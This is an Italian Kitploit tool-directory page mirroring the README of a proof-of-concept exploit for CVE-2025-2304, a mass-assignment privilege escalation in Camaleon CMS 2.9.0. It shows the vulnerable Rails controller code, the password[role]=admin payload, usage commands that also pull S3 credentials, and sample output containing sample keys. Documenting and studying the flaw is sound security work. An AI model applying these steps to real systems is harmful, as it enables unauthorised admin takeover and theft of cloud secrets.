Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2304 — Escalation di privilegi autenticata in Camaleon CMS v2.9.0 tramite gestione impropria dei parametri nell'endpoint updated_ajax. | Kitploit
Strumenti/GitHubGitHub/alien0ne/cve-2025-2304
Escalation di PrivilegiAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Escalation di privilegi autenticata in Camaleon CMS v2.9.0 tramite gestione impropria dei parametri nell'endpoint updated_ajax.

Vedi Repository
1936 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Camaleon CMS 2.9.0 – Escalata dei privilegi autenticata (cambio ruolo) + eventuale leak configurazione S3

Obiettivo: Camaleon CMS v2.9.0
Tipo: Escalation dei privilegi autenticata tramite mass-assignment in updated_ajax (campo ruolo)
Extra: Estrazione opzionale della configurazione S3 dalla pagina delle impostazioni di amministrazione (se l'utente autenticato può accedervi dopo l'escalation)

Panoramica

Questo repository contiene uno script proof-of-concept in Python che:

  1. Effettua il login nel pannello di amministrazione di Camaleon CMS con credenziali valide.
  2. Recupera un token CSRF da /admin/profile/edit.
  3. Chiama l'endpoint updated_ajax per aggiornare i campi password[...] e abusare di permit! per impostare password[role]=admin.
  4. Opzionalmente (-e) estrae i valori di configurazione S3 da /admin/settings/site.
  5. Opzionalmente (-r) ripristina il ruolo al valore originale dopo l'esecuzione.

Questo comportamento corrisponde al pattern di mass-assignment insicuro descritto nell'avviso correlato:

  • Tenable Research Advisory: TRA-2025-09

Causa principale (Cosa è vulnerabile)

L'azione del controller seguente aggiorna un utente con permit!:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Poiché permit! consente tutte le chiavi sotto password, un attaccante può inviare:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

e l'applicazione lo accetterà, aggiornando il ruolo dell'utente.

Impatto

  • Qualsiasi utente autenticato che possa raggiungere la route vulnerabile può potenzialmente aumentare i propri privilegi impostando il proprio ruolo su admin.
  • Dopo l'escalation, pagine riservate agli admin (come le impostazioni del sito) potrebbero diventare accessibili, potenzialmente divulgando valori di configurazione sensibili (es. chiavi S3).

Requisiti

  • Python 3.8+
  • requests

Installa la dipendenza:

root@kitploit:~
pip install requests

Utilizzo

Escalation dei privilegi di base (autenticato)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

Escalation + estrazione configurazione S3 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

Escalation + ripristino ruolo (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

Escalation + estrazione + ripristino

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

Argomenti

Esecuzione di esempio

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

Output di esempio

root@kitploit:~
[+]Camaleon CMS Versione 2.9.0 ESCALATION DEI PRIVILEGI (Autenticato)
[+]Login confermato
   User ID: 5
   Ruolo utente attuale: client
[+]Caricamento ESCALATION DEI PRIVILEGI
   User ID: 5
   Ruolo utente aggiornato: admin
[+]Estrazione credenziali S3
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Ripristino ruolo utente
   User ID: 5
   Ruolo utente: client

Come il PoC conferma il login

Lo script controlla l'HTML restituito per un link /admin/logout dopo il POST di login.
Se il link di logout è presente, la sessione viene considerata autenticata.

Note sui token CSRF

Camaleon utilizza CSRF stile Rails. Di solito i token si trovano in due punti comuni:

  • Input nascosto nei form: name="authenticity_token" value="..."
  • Meta tag: <meta name="csrf-token" content="...">

Il PoC recupera il meta csrf-token da /admin/profile/edit e lo utilizza in:

  • Corpo della richiesta: authenticity_token=<token>
  • Header: X-CSRF-Token: <token>

Disclaimer

Questo codice è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi (es. laboratori, CTF e ambienti per i quali si ha esplicita autorizzazione).
Non utilizzarlo contro sistemi di cui non si è proprietari o per cui non si ha il permesso di testare.


Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml

Scarica lo strumento
FlagDescrizione
-u, --urlURL base (es. http://alienone.in)
-U, --usernameNome utente valido
-P, --passwordPassword valida
--newpassValore della password inviato nella richiesta di aggiornamento (default: test)
-e, --extractEstrai configurazione S3 dalla pagina delle impostazioni
-r, --revertRipristina il ruolo al valore originale dopo l'escalation